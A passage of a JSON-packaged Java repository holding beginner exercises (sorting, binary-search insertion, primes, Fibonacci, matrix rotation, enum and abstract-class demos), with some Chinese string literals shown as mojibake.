j=0;j<arrNew[i].length;j++){\n\t\t\t\tSystem.out.print(arrNew[i][j]+\",\");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t\t\n\t\t\n\t\tint[] arr={12,5,3,2,8,9,7};\n\t\tArrays.sort(arr);\n\t\tint insertNum=11;\n\t\tint index=Arrays.binarySearch(arr, insertNum);\n\t\tint[] arrInsert=new int[arr.length+1];\n\t\tif(index>0){\n\t\t\tindex=index+1;\n\t\t}\n\t\telse{\n\t\t\tindex=-index-1;\n\t\t}\n\t\tfor(int i=0;i<arrInsert.length;i++){\n\t\t\tif(i<index){\n\t\t\t\tarrInsert[i]=arr[i];\n\t\t\t}\n\t\t\telse if(i==index){\n\t\t\t\tarrInsert[i]=insertNum;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tarrInsert[i]=arr[i-1];\n\t\t\t}\n\t\t}\n\t\t\n\t\tfor(int i=0;i<arrInsert.length;i++){\n\t\t\tSystem.out.print(arrInsert[i]+\",\");\n\t\t}\n\t\t\n\t\t\n\t\tSystem.out.println();\n\t\tfor(int i=1;i<10;i++){\n\t\t\tSystem.out.print(fa(i)+\",\");\n\t\t}*/\n\t\tint[] arrSort2={6,3,76,23,16,84,0};\n\t\tfor(int i=0;i<arrSort2.length;i++){\n\t\t\tfor(int j=i+1;j<arrSort2.length;j++){\n\t\t\t\tif(arrSort2[i]>arrSort2[j]){\n\t\t\t\t\tint temp=arrSort2[i];\n\t\t\t\t\tarrSort2[i]=arrSort2[j];\n\t\t\t\t\tarrSort2[j]=temp;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor(int i=0;i<arrSort2.length;i++){\n\t\t\tSystem.out.print(arrSort2[i]+\",\");\n\t\t}\n\t\t\n\t\t\n\t\t/*int[] arr={12,5,8,9,4,18,1};\n\t\tfor(int i=1;i<arr.length;i++){\n\t\t\tfor(int j=0;j<arr.length-i;j++){\n\t\t\t\tif(arr[j]>arr[j+1]){\n\t\t\t\t\tint temp=arr[j];\n\t\t\t\t\tarr[j]=arr[j+1];\n\t\t\t\t\tarr[j+1]=temp;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(Arrays.toString(arr));\n\t\t\n\t\t\n\t\tScanner scan=new Scanner(System.in);\n\t\tint num=scan.nextInt();\n\t\tint min=2;\n\t\tSystem.out.print(num+\"=\");\n\t\twhile(num>=min){\n\t\t\tif(num%min==0){\n\t\t\t\tif(num==min){\n\t\t\t\t\tSystem.out.print(min);\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tSystem.out.print(min+\"*\");\n\t\t\t\t}\n\t\t\t\tnum=num/min;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tmin++;\n\t\t\t}\n\t\t}\n\t\tSystem.out.println();\n\t\t\n\t\tdouble sum=0;\n\t\tdouble f=1;\n\t\tfor(int i=1;i<=100;i++){\n\t\t\tf=i;\n\t\t\tif(f%2==0){\n\t\t\t\tf=-f;\n\t\t\t}\n\t\t\tsum+=1/f;\n\t\t}\n\t\tSystem.out.println(sum);*/\n\n\n\t\t\n\t\t\n\t}\n\t\n\tstatic int fa(int n){\n\t\tif(n>2){\n\t\t\treturn fa(n-1)+fa(n-2);\n\t\t}\n\t\telse{\n\t\t\treturn 1;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/day8/StringT.java",
    "content": "package com.jun.plugin.javase.day8;\nimport java.util.Scanner;\npublic class StringT {\n\tpublic static void main(String[] args) {\n\t\tSystem.out.println(\"======�ؼ�������======\");\n\t\t\n\t\tString[] arr={\"����������3-5�ȣ��磬����\",\"�Ͼ�������-3-5�ȣ��꣬�Ϸ�\",\"���죬����5-10�ȣ��磬������\",\"�ɶ�������3-8�ȣ�С�꣬���Ϸ�\",\"����������3-5�ȣ�ѩ��ƫ����\",\"�Ϻ�������5-9�ȣ��磬ƫ�Ϸ�\"};\n\t\t\n\t\tScanner scan=new Scanner(System.in);\n\t\tSystem.out.println(\"������ؼ���������\");\n\t\tString key=scan.next();\n\t\tboolean find=true;\n\t\tfor(int i=0;i<arr.length;i++){\n\t\t\tif(arr[i].contains(key)){\n\t\t\t\tSystem.out.println(arr[i]);\n\t\t\t\tfind=false;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\tif(find==true){\n\t\t\tSystem.out.println(\"�޽��\");\n\t\t}\n\n\t\t\n\t\t\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/day8/Test.java",
    "content": "package com.jun.plugin.javase.day8;\n\nimport java.util.Arrays;\n\npublic class Test {\n\tpublic static void main(String[] args) {\n\t\tSystem.out.println(\"======���ź���������в������֣���������˳�򲻱�\");\n\t\tint[] arr={1,2,3,4,5,6,7,8,9,12};\n\t\tSystem.out.println(Arrays.toString(arr));\n\t\tint key=0;\n\t\tint index=Arrays.binarySearch(arr, key);\n\t\tint flag=0;\n\t\tif(index>=0){\n\t\t\tflag=index;\n\t\t}\n\t\telse{\n\t\t\tflag=-index-1;\n\t\t}\n\t\t//System.out.println(index);\n\t\tint[] arrNew=new int[arr.length+1];\n\t\tfor(int i=0;i<=arrNew.length-1;i++){\n\t\t\tif(i<flag){\n\t\t\t\tarrNew[i]=arr[i];\n\t\t\t}\n\t\t\telse if(i==flag){\n\t\t\t\tarrNew[i]=key;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tarrNew[i]=arr[i-1];\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(Arrays.toString(arrNew));\n\t\t\n\t\t\n\t\t\n\t\tSystem.out.println(\"======��������======\");\n\t\tint sum=0,n=0;\n\t\tfor(int i=0;i<6;i++){\n\t\t\tsum=n*5+1;\n\t\t\tn=sum;\n\t\t}\n\t\tSystem.out.println(sum);\n\t\t\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/day8/Test2.java",
    "content": "package com.jun.plugin.javase.day8;\n\npublic class Test2 {\n\tpublic static void main(String[] args) {\n\t\tSystem.out.println(\"========ð������==========\");\n\t\tint[] arr={1,4,4,2,6,8,5,0,7,-1};\n\t\tfor(int i=0;i<arr.length;i++){\n\t\t\tfor(int j=0;j<arr.length-1;j++){\n\t\t\t\tif(arr[j]>arr[j+1]){\n\t\t\t\t\tint temp=arr[j];\n\t\t\t\t\tarr[j]=arr[j+1];\n\t\t\t\t\tarr[j+1]=temp;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tprintArrays(arr);\n\t\t\n\t\tSystem.out.println(\"========ѡ������==========\");\n\t\tint[] arr2={12,55,39,6,7,65,0,3};\n\t\tfor(int i=0;i<arr2.length;i++){\n\t\t\tfor(int j=i+1;j<arr2.length;j++){\n\t\t\t\tif(arr2[i]>arr2[j]){\n\t\t\t\t\tint temp=arr2[i];\n\t\t\t\t\tarr2[i]=arr2[j];\n\t\t\t\t\tarr2[j]=temp;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tprintArrays(arr2);\n\t\tSystem.out.println(\"========����==========\");\n\t\tfor(int i=2;i<100;i++){\n\t\t\tboolean flag=true;\n\t\t\tfor(int j=2;j<i;j++){\n\t\t\t\tif(i%j==0){\n\t\t\t\t\tflag=false;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(flag==true){\n\t\t\t\tSystem.out.print(i+\",\");\n\t\t\t}\n\t\t}\n\t\tSystem.out.println();\n\t\tSystem.out.println(\"========����������==========\");\n\t\tSystem.out.println(fn(11));\n\t\t\n\t\tSystem.out.println(\"========�ƽ�����==========\");\n\t\tfor(int i=1;i<=10;i++){\n\t\t\tSystem.out.print(fn(i)+\",\");\n\t\t}//1,1,2,3,5,8,13.....\n\t\t\n\t\tSystem.out.println();\n\t\tSystem.out.println(\"========�ֽ�������==========\");\n\t\tint number=90;\n\t\tint min=2;\n\t\tSystem.out.print(number+\"=\");\n\t\twhile(min<=number){\n\t\t\tif(number%min==0){\n\t\t\t\tif(min==number){\n\t\t\t\t\tSystem.out.print(min);\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tSystem.out.print(min+\"*\");\n\t\t\t\t}\n\t\t\t\tnumber=number/min;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tmin++;\n\t\t\t}\n\t\t}\n\t\tSystem.out.println();\n\t\t\n\t\tSystem.out.println(\"========��ת��ά����==========\");\n\t\tint[][] arrOld={{1,2},{3,4},{5,6}};\n\t\tprintArr_2(arrOld);\n\t\tSystem.out.println(\"-------------\");\n\t\tint n=arrOld.length;\n\t\tint m=arrOld[0].length;\n\t\tint[][] arrNew=new int[m][n];\n\t\tfor(int i=0;i<m;i++){\n\t\t\tfor(int j=0;j<n;j++){\n\t\t\t\tarrNew[i][j]=arrOld[j][m-i-1];\n\t\t\t}\n\t\t}\n\t\tprintArr_2(arrNew);\n\t\t\n\t}\n\t\n\tstatic void printArr_2(int[][]arr){\n\t\tfor(int i=0;i<arr.length;i++){\n\t\t\tfor(int j=0;j<arr[i].length;j++){\n\t\t\t\tif(j==arr[i].length-1){\n\t\t\t\t\tSystem.out.print(arr[i][j]);\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tSystem.out.print(arr[i][j]+\",\");\n\t\t\t\t}\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t}\n\t\n\tstatic void printArrays(int[] array){\n\t\tSystem.out.print(\"[\");\n\t\tfor(int i=0;i<array.length;i++){\n\t\t\tif(i==array.length-1){\n\t\t\t\tSystem.out.println(array[i]+\"]\");\n\t\t\t}\n\t\t\telse{\n\t\t\t\tSystem.out.print(array[i]+\",\");\n\t\t\t}\n\t\t}\n\t}\n\t\n\tstatic int fn(int n){\n\t\tif(n>2){\n\t\t\treturn fn(n-1)+fn(n-2);\n\t\t}\n\t\telse{\n\t\t\treturn 1;\n\t\t}\n\t}\n}\n\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/day9/Array.java",
    "content": "package com.jun.plugin.javase.day9;\n\nimport java.util.Arrays;\n\npublic class Array {\n\tpublic static void main(String[] args) {\n\t\t/*String[][] arr={{\"12345\",\"kdsjf\",\"skfj\"},{\"16723\",\"ksjfdks\"},{\"1237986\",\"dsk\"},{\"12678653\",\"saie\"}};\n\t\t\n\t\tfor(int i=0;i<arr.length;i++){\n\t\t\tfor(int j=0;j<arr[i].length;j++){\n\t\t\t\tSystem.out.print(arr[i][j]+\",\");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t\t\n\t\tString str=\"����Һ�����\";\n\t\tchar[] ch=str.toCharArray();\n\t\tSystem.out.println(ch.length);\n\t\tfor(int i=0;i<ch.length;i++){\n\t\t\tSystem.out.print(ch[i]+\",\");\n\t\t}\n\t\tSystem.out.println();\n\t\tString[] str2={\"����\",\"ʵ��\",\"ʱ��\"};\n\t\tfor(String i:str2){\n\t\t\tSystem.out.print(i+\",\");\n\t\t}*/\n\t\t\n\t\t\n\t\tint[][] arr={{1,2},{3,4},{5,6}};\n\t\tint m=arr[0].length;\n\t\tint n=arr.length;\n\t\tint[][] arrNew=new int[m][n];\n\t\t\n\t\tfor(int i=0;i<m;i++){\n\t\t\tfor(int j=0;j<n;j++){\n\t\t\t\tarrNew[i][j]=arr[n-j-1][i];\n\t\t\t\tSystem.out.print(arrNew[i][j]+\" \");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t\t\n\t\tSystem.out.println(\"==============\");\n\t\t\n\t\t/*for(int i=arrNew.length-1;i>=0;i--){\n\t\t\tfor(int j=0;j<=arrNew.length;j++){\n\t\t\t\tSystem.out.print(arrNew[i][j]+\" \");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}*/\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/day9/ArrayT.java",
    "content": "package com.jun.plugin.javase.day9;\n\npublic class ArrayT {\n\tpublic static void main(String[] args) {\n\t\t/*int[][] arr={{1,2},{3,4},{5,6}};\n\t\tint n=arr.length;\n\t\tint m=arr[0].length;\n\t\t//System.out.println(m);\n\t\tint[][] arrNew=new int[m][n];\n\t\t\n\t\tfor(int i=0;i<m;i++){\n\t\t\tfor(int j=0;j<n;j++){\n\t\t\t\tarrNew[i][j]=arr[j][m-i-1];\n\t\t\t\tSystem.out.print(arrNew[i][j]+\" \");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}*/\n\t\t\n\t\tSystem.out.println(\"ȡ��\"+(2%4));\n\t\t\n\t\t\n\t\tint[][] arr2={{1,2},{3,4},{5,6}};\n\t\tprintArr_2(arr2);\n\t\tSystem.out.println(\"===========\");\n\t\tint deg=3;\n\t\tprintArr_2(rotateArr(arr2,deg));\n\n\t}\n\t\n\t\n \tstatic int[][] rotateArr(int[][] arr){\n\t\tint m=arr[0].length;\n\t\tint n=arr.length;\n\t\tint[][] arrNew=new int[m][n];\n\t\t\n\t\tfor(int i=0;i<m;i++){\n\t\t\tfor(int j=0;j<n;j++){\n\t\t\t\tarrNew[i][j]=arr[j][m-i-1];\n\t\t\t}\n\t\t}\n\t\treturn arrNew;\n\t}\n\t\n \t\n \tstatic int[][] rotateArr(int[][] arr,int deg){\n \t\tif(deg%4==1){\n \t\t\treturn rotateArr(arr);\n \t\t}\n \t\telse{\n \t\t\tdeg=deg%4+4;\n \t\t\treturn  rotateArr(rotateArr(arr,deg-1));\n \t\t}\n \t}\n\t\n\t\n\n\t/*static void rotateArr(int[][] arr){\n\t\tint m=arr[0].length;\n\t\tint n=arr.length;\n\t\tint[][] arrNew=new int[m][n];\n\t\t\n\t\tfor(int i=0;i<m;i++){\n\t\t\tfor(int j=0;j<n;j++){\n\t\t\t\tarrNew[i][j]=arr[j][m-i-1];\n\t\t\t\tSystem.out.print(arrNew[i][j]+\" \");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t}\n\t//��ʱ��90\n\tstatic void rotateArr2(int[][] arr){\n\t\tint n=arr[0].length;\n\t\tint m=arr.length;\n\t\tint[][] arrNew=new int[m][n];\n\t\t\n\t\tfor(int i=0;i<m;i++){\n\t\t\tfor(int j=0;j<n;j++){\n\t\t\t\tarrNew[i][j]=arr[2-i][1-j];\n\t\t\t\tSystem.out.print(arrNew[i][j]+\" \");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t}\n\t//��ʱ��180\n\tstatic void rotateArr3(int[][] arr){\n\t\tint m=arr[0].length;\n\t\tint n=arr.length;\n\t\tint[][] arrNew=new int[m][n];\n\t\t\n\t\tfor(int i=0;i<m;i++){\n\t\t\tfor(int j=0;j<n;j++){\n\t\t\t\tarrNew[i][j]=arr[n-j-1][i];\n\t\t\t\tSystem.out.print(arrNew[i][j]+\" \");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t}//��ʱ��270*/\n\t\n\t\n\n\tstatic void printArr_2(int[][]arr){\n\t\tfor(int i=0;i<arr.length;i++){\n\t\t\tfor(int j=0;j<arr[i].length;j++){\n\t\t\t\tif(j==arr[i].length-1){\n\t\t\t\t\tSystem.out.print(arr[i][j]);\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tSystem.out.print(arr[i][j]+\",\");\n\t\t\t\t}\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/day9/ArrayT2.java",
    "content": "package com.jun.plugin.javase.day9;\n\npublic class ArrayT2 {\n\tpublic static void main(String[] args) {\n\t\t\n\t\tint[][] arr={{9,8,7},{6,5,4},{3,2,1}};\n\t\tArrayT.printArr_2(arr);\n\t\tSystem.out.println(\"===========\");\n\t\t/*int n=arr.length;\n\t\tint m=arr[0].length;\n\t\tfor()*/\n\t\t\n\t\t\n\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/enums/Action.java",
    "content": "package com.jun.plugin.javase.enums;\n\npublic enum Action {\n\tTURN_LEFT, TURN_RIGHT, SHOOT\n}"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/enums/DetailActioin2.java",
    "content": "package com.jun.plugin.javase.enums;\n\n/**\n * 枚举类型既然是类，那么也就可以有构造函数。只不过不得有公开(Public)的构造函数，这是为了避免直接对枚举类型实例化。\n */\npublic enum DetailActioin2 {\n\tTURN_LEFT(\"向左转\"), TURN_RIGHT(\"向右转\"), SHOOT(\"射击\");\n\n\tprivate String description;\n\n\t// 不公开的构造函数\n\tprivate DetailActioin2(String description) {\n\t\tthis.description = description;\n\t}\n\n\tpublic String getDescription() {\n\t\treturn description;\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/enums/DetailAction.java",
    "content": "package com.jun.plugin.javase.enums;\n\n/**\n *定义枚举类型其实就是在定义一个类，只不过很多细节由编译器帮你补齐了，所以，某种程度上enum关键词的作用就像是class或interface.\n\n   当使用enum定义枚举类型时，实际上所定义出来的类型是继承自java.lang.Enum类。而每个被枚举的成员其实就是定义的枚举类型的一个实例，\n   它们都被默认为final。无法改变常数名称所设定的值，它们也是public和static的成员，这与接口中的常量限制相同。可以通过类名称直接使用它们。\n   如1中所定义的枚举类型Action,TURN_LEFT,TURN_RIGHT,SHOOT都是Action的一个对象实例。因为是对象，所以，对象上自然有一些方法可以调用。\n   如从Object继承焉的toString()方法被重新定义了，可以让你直接取得枚举值的字符串描述；values()方法可以让您取得所有的枚举成员实例，\n   并以数组方式返回。您可以使用这两个方法来简单的将Action的枚举成员显示出来。静态valueOf()方法可以让您将指定的字符串尝试转换为枚举类型。\n   可以用compareTo()方法来比较两个枚举对象在枚举时的顺序。-1之前，0位置相同，1之后。\n   \n   对于每个枚举成员，使用ordinal()方法，依枚举顺序得到位置索引，默认以0开始。\n\n * @author Wujun\n * @since   2013年9月9日 下午5:24:43\n */\npublic enum DetailAction {\n\tTURN_LEFT, TURN_RIGHT, SHOOT;\n\n\tpublic String getDescription() {\n\t\tswitch (this.ordinal()) {\n\t\tcase 0:\n\t\t\treturn \"向左转\";\n\t\tcase 1:\n\t\t\treturn \"向右转\";\n\t\tcase 2:\n\t\t\treturn \"射击\";\n\t\tdefault:\n\t\t\treturn null;\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/enums/DetailActionDemo.java",
    "content": "package com.jun.plugin.javase.enums;\n\npublic class DetailActionDemo {\n\tpublic static void main(String[] args) {\n\t\tfor (DetailAction action : DetailAction.values()) {\n\t\t\tSystem.out.printf(\"%s: %s%n\", action, action.getDescription());\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/enums/EnumDemo.java",
    "content": "package com.jun.plugin.javase.enums;\n\npublic class EnumDemo {\n\tpublic static void main(String[] args) {\n\t\tdoAction(Action.TURN_RIGHT);\n\t}\n\n\tpublic static void doAction(Action action) {\n\t\tswitch (action) {\n\t\tcase TURN_LEFT:\n\t\t\tSystem.out.println(\"向左转\");\n\t\t\tbreak;\n\t\tcase TURN_RIGHT:\n\t\t\tSystem.out.println(\"向右转\");\n\t\t\tbreak;\n\t\tcase SHOOT:\n\t\t\tSystem.out.println(\"射击\");\n\t\t\tbreak;\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/enums/EnumDemo2.java",
    "content": "package com.jun.plugin.javase.enums;\n\npublic class EnumDemo2 {\n\tprivate enum InnerAction {\n\t\tTURN_LEFT, TURN_RIGHT, SHOOT\n\t};\n\n\tpublic static void main(String[] args) {\n\t\tdoAction(InnerAction.TURN_RIGHT);\n\t}\n\n\tpublic static void doAction(InnerAction action) {\n\t\tswitch (action) {\n\t\tcase TURN_LEFT:\n\t\t\tSystem.out.println(\"向左转\");\n\t\t\tbreak;\n\t\tcase TURN_RIGHT:\n\t\t\tSystem.out.println(\"向右转\");\n\t\t\tbreak;\n\t\tcase SHOOT:\n\t\t\tSystem.out.println(\"射击\");\n\t\t\tbreak;\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/enums/IDescription.java",
    "content": "package com.jun.plugin.javase.enums;\n\npublic interface IDescription {\n\tpublic String getDescription();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/enums/MoreAction.java",
    "content": "package com.jun.plugin.javase.enums;\n\npublic enum MoreAction implements IDescription {\n\tTURN_LEFT {\n\t\t// 实现接口上的方法\n\t\tpublic String getDescription() {\n\t\t\treturn \"向左转\";\n\t\t}\n\n\t}, // 注意这里的枚举值分隔使用,\n\n\tTURN_RIGHT {\n\t\t// 实现接口上的方法\n\t\tpublic String getDescription() {\n\t\t\treturn \"向右转\";\n\t\t}\n\t}, // 注意这里的枚举值分隔使用,\n\n\tSHOOT {\n\t\t// 实现接口上的方法\n\t\tpublic String getDescription() {\n\t\t\treturn \"射击\";\n\t\t}\n\t}; // 注意这里的枚举值结束使用;\n}"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/enums/MoreAction2.java",
    "content": "package com.jun.plugin.javase.enums;\n\npublic enum MoreAction2 {\n\tTURN_LEFT {\n\t\t// 实现抽象方法\n\t\tpublic String getDescription() {\n\t\t\treturn \"向左转\";\n\t\t}\n\t}, // 记得这里的枚举值分隔使用,\n\n\tTURN_RIGHT {\n\t\t// 实现抽象方法\n\t\tpublic String getDescription() {\n\t\t\treturn \"向右转\";\n\t\t}\n\t},\n\n\tSHOOT {\n\t\t// 实现抽象方法\n\t\tpublic String getDescription() {\n\t\t\treturn \"射击\";\n\t\t}\n\t}; // 记得这里的枚举值结束使用;\n\n\t// 声明抽象方法\n\tpublic abstract String getDescription();\n}"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/enums/MoreActionDemo.java",
    "content": "package com.jun.plugin.javase.enums;\n\npublic class MoreActionDemo {\n\tpublic static void main(String[] args) {\n\t\tfor (MoreAction action : MoreAction.values()) {\n\t\t\tSystem.out.printf(\"%s: %s%n\", action, action.getDescription());\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/enums/MoreActionDemo2.java",
    "content": "package com.jun.plugin.javase.enums;\n\npublic class MoreActionDemo2 {\n\tpublic static void main(String[] args) {\n\t\tfor (MoreAction2 action : MoreAction2.values()) {\n\t\t\tSystem.out.printf(\"%s: %s%n\", action, action.getDescription());\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/enums/Singleton.java",
    "content": "package com.jun.plugin.javase.enums;\n\npublic class Singleton {\n\t// 构造函数私有，只限内部调用\n\tprivate Singleton() {\n\t};\n\n\tprivate static Singleton instance = null;\n\n\tpublic static synchronized Singleton getInstance() {\n\t\tif (instance == null)\n\t\t\tinstance = new Singleton();\n\t\treturn instance;\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/fiveday/Array.java",
    "content": "package com.jun.plugin.javase.fiveday;\n\npublic class Array {\n\tpublic static void main(String[] args) {\n\t\t\n\t\t/*int[] arr=new int[5];\n\t\tSystem.out.print(\"[\");\n\t\tfor(int i=0;i<arr.length;i++){\n\t\t\tint a=(int)(Math.random()*100)+0;\n\t\t\tarr[i]=a;\n\t\t\t\n\t\t\tif(i==arr.length-1){\n\t\t\t\tSystem.out.print(arr[i]);\n\t\t\t}\n\t\t\telse{\n\t\t\t\tSystem.out.print(arr[i]+\",\");\n\t\t\t}\n\t\t}\n\t\tSystem.out.print(\"]\");//��������������ȵ�����\n*/\t\t\n\t\t\n\t\t\n\t\t\n\t\tint[] arr1={1,3,5,7,9,6};\n\t\tSystem.out.print(\"[\");\n\t\tfor(int i=0;i<arr1.length;i++){\n\t\t\t\n\t\t\tint l=arr1.length-i-1;\n\t\t\t\n\t\t\tif(i==arr1.length-1){\n\t\t\t\tSystem.out.print(arr1[l]);\n\t\t\t}\n\t\t\telse{\n\t\t\t\tSystem.out.print(arr1[l]+\",\");\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(\"]\");//���򡪡�ֱ�ӵ�������\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t/*int[] arr={12,32,231,54,887,5,8,87};\n\t\tint count=0;\n\t\tfor(int i=0;i<arr.length-1;i++){\n\t\t\tfor(int j=i+1;j<arr.length;j++){\n\t\t\t\tif(arr[i]>arr[j]){\n\t\t\t\t\tint temp=arr[i];\n\t\t\t\t\tarr[i]=arr[j];\n\t\t\t\t\tarr[j]=temp;\n\t\t\t\t}\n\t\t\t\tcount++;\n\t\t\t}\n\t\t}\n\t\tprintArrays(arr);\n\t\tSystem.out.println(count);*/\n\t\t\n\t\tint[] arr2={12,4,65,87,45,23,2,9,56,3};\n\t\tfor(int i=0;i<arr2.length/2;i++){\n\t\t\t\n\t\t\tint temp=arr2[i];\n\t\t\tarr2[i]=arr2[arr2.length-i-1];\n\t\t\tarr2[arr2.length-i-1]=temp;\n\t\t\t\n\t\t}\n\t\tprintArrays(arr2);//�����м�ֵ�����۰���������\n\t\t\n\t\t\n\t}\n\t\n\t\n\t\n\tstatic void printArrays(int[] array){\n\t\tSystem.out.print(\"[\");\n\t\tfor(int i=0;i<array.length;i++){\n\t\t\tif(i==array.length-1){\n\t\t\t\tSystem.out.println(array[i]+\"]\");\n\t\t\t}\n\t\t\telse{\n\t\t\t\tSystem.out.print(array[i]+\",\");\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/fiveday/Test.java",
    "content": "package com.jun.plugin.javase.fiveday;\n\npublic class Test {\n\tpublic static void main(String[] args) {\n\t\tSystem.out.println(sum(2,4));\n\t\tSystem.out.println(height(10));\n\t\t\n\t\t\n\t}\n\t\n\t\n\tstatic int sum(int n,int c){\n\t\tint sum=0,d=n;\n\t\tfor(int i=1;i<=c;i++){\n\t\t\tSystem.out.print(n+\"+\");\n\t\t\tsum=sum+n;\n\t\t\tn=n*10+d;\n\t\t}\n\t\treturn sum;\n\t}\n\t\n\tstatic double height(int count){\n\t\tdouble height=100,sumHeight=100;\n\t\tfor(int i=1;i<count;i++){\n\t\t\theight=height/2;\n\t\t\tsumHeight=sumHeight+height*2;\n\t\t}\n\t\treturn sumHeight;\n\t}\n\t\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/Abstract.java",
    "content": "package com.jun.plugin.javase.object;\n\npublic class Abstract {\n\tpublic static void main(String[] args) {\n\t\tManager m1=new Manager(\"��Ʒ����\",28);\n\t\t//m1.setAge(32);\n\t\t//System.out.println(m1.getAge());\n//\t\tm1.show();\n//\t\tm1.work();\n//\t\t\n//\t\tCoder c1=new Coder(\"����Ա\",23);\n//\t\tc1.show();\n//\t\tc1.work();\n//\t\t\n//\t\tCoder c2=new Coder(\"����\",27,\"��ĿA\");\n//\t\tc2.show();\n//\t\tc2.work();\n//\t\tc2.showProject();\n\t\t\n\t\t\n\t\tnew Employee(\"������\",21){\n\t\t\tvoid work(){\n\t\t\t\tSystem.out.println(\"����\");\n\t\t\t}\n\t\t\tvoid show(){\n\t\t\t\tSystem.out.println(getName()+\"======\"+getAge());\n\t\t\t}\n\t\t}.show();\n\t\t\n\t\t\n\t}\n}\n\n\nabstract class Employee{\n\tprivate String name;\n\tprivate int age;\n\tEmployee(String name,int age){\n\t\tthis.name=name;\n\t\tthis.age=age;\n\t}\n\tvoid setName(String name){\n\t\tthis.name=name;\n\t}\n\tString getName(){\n\t\treturn name;\n\t}\n\tvoid setAge(int age){\n\t\tthis.age=age;\n\t}\n\tint getAge(){\n\t\treturn age;\n\t}\n\t\n\tvoid print(){\n\t\tSystem.out.println(1);\n\t}\n\tabstract void work();\n\tabstract void show();//��Ϊ�������඼Ҫ�̳б��࣬����������๫���ķ������󻯷��ڸ����У���coder�����е�showProject��������ڽӿ��У�coder����ȥ�̳к���д�÷���\n}\n\ninterface showImpl{\n\tvoid showProject();\n}\n\nclass Manager extends Employee{\n\tManager(String name,int age){\n\t\tsuper(name,age);\n\t}\n\tvoid work(){\n\t\tSystem.out.println(\"����\");\n\t}\n\tvoid show(){\n\t\tSystem.out.println(getName()+\"======\"+getAge());\n\t}\n}\nclass Coder extends Employee implements showImpl{\n\tprivate String project;\n\tCoder(String name,int age){\n\t\tsuper(name,age);\n\t}\n\tCoder(String name,int age,String project){\n\t\tthis(name,age);\n\t\tthis.project=project;\n\t}\n\tvoid setProject(String project){\n\t\tthis.project=project;\n\t}\n\tString getProject(){\n\t\treturn project;\n\t}\n\tvoid work(){\n\t\tSystem.out.println(\"��ũ\");\n\t}\n\tvoid show(){\n\t\tSystem.out.println(getName()+\"======\"+getAge());\n\t} \n\tpublic void showProject(){\n\t\tSystem.out.println(getProject());\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/object/AbstractTest.java",
